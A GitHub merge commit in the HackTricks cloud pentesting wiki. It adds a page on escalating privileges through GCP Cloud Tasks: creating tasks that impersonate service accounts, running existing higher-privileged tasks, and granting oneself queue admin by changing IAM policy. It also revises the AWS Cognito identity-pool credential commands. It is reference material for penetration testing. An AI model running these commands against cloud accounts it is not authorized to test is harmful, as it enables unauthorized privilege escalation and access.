Skip to content

Commit b4d443e

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud
2 parents 2b10424 + 030739e commit b4d443e

File tree

4 files changed

+78
-12
lines changed

4 files changed

+78
-12
lines changed

searchindex.js

Lines changed: 1 addition & 1 deletion
Large diffs are not rendered by default.

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -107,6 +107,7 @@
107107
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
108108
- [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md)
109109
- [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md)
110+
- [GCP - Cloud Tasks Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md)
110111
- [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md)
111112
- [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md)
112113
- [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md)

src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md

Lines changed: 25 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -167,22 +167,36 @@ For this you might need to have access to the **identity provider**. If that is
167167
168168
Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured).
169169

170-
<pre class="language-bash"><code class="lang-bash">aws cognito-identity get-id \
171-
--identity-pool-id <identity_pool_id> \
172-
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
170+
<pre class="language-bash"><code class="lang-bash">
171+
# Updated format
172+
aws cognito-identity get-id \
173+
--identity-pool-id <identity_pool_id> \
174+
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
173175

174-
# Get the identity_id from the previous commnad response
175176
aws cognito-identity get-credentials-for-identity \
176-
--identity-id <identity_id> \
177-
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
177+
--identity-id <identity_id> \
178+
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
178179

180+
aws cognito-identity get-credentials-for-identity \
181+
--identity-id <identity_id> \
182+
--custom-role-arn <role_arn> \
183+
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
184+
</code></pre>
185+
186+
> **Deprecated format** — these may no longer work with current AWS CLI:
187+
<pre class="language-bash"><code class="lang-bash">
188+
aws cognito-identity get-id \
189+
--identity-pool-id <identity_pool_id> \
190+
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
191+
192+
aws cognito-identity get-credentials-for-identity \
193+
--identity-id <identity_id> \
194+
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
179195

180-
# In the IdToken you can find roles a user has access because of User Pool Groups
181-
# User the --custom-role-arn to get credentials to a specific role
182196
aws cognito-identity get-credentials-for-identity \
183-
--identity-id <identity_id> \
184-
<strong> --custom-role-arn <role_arn> \
185-
</strong> --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
197+
--identity-id <identity_id> \
198+
--custom-role-arn <role_arn> \
199+
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
186200
</code></pre>
187201

188202
> [!WARNING]
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
# GCP - Cloud Tasks Privesc
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
## Cloud Tasks
6+
7+
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
8+
9+
An attacker with these permissions can **impersonate other service accounts** by creating tasks that execute with the specified service account's identity. This allows sending **authenticated HTTP requests to IAM-protected Cloud Run or Cloud Functions** services.
10+
11+
```bash
12+
gcloud tasks create-http-task \
13+
task-$(date '+%Y%m%d%H%M%S') \
14+
--location us-central1 \
15+
--queue <queue_name> \
16+
--url 'https://<service_name>.us-central1.run.app' \
17+
--method POST \
18+
--header 'X-Hello: world' \
19+
--body-content '{"hello":"world"}' \
20+
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
21+
```
22+
23+
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
24+
25+
An attacker with these permissions can **run existing scheduled tasks** without having permissions on the service account associated with the task. This allows executing tasks that were previously created with higher privileged service accounts.
26+
27+
```bash
28+
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
29+
```
30+
31+
The principal executing this command **doesn't need `iam.serviceAccounts.actAs` permission** on the task's service account. However, this only allows running existing tasks - it doesn't grant the ability to create or modify tasks.
32+
33+
### `cloudtasks.queues.setIamPolicy`
34+
35+
An attacker with this permission can **grant themselves or other principals Cloud Tasks roles** on specific queues, potentially escalating to `roles/cloudtasks.admin` which includes the ability to create and run tasks.
36+
37+
```bash
38+
gcloud tasks queues add-iam-policy-binding \
39+
<queue_name> \
40+
--location us-central1 \
41+
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
42+
--role roles/cloudtasks.admin
43+
```
44+
45+
This allows the attacker to grant full Cloud Tasks admin permissions on the queue to any service account they control.
46+
47+
## References
48+
49+
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
50+
51+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)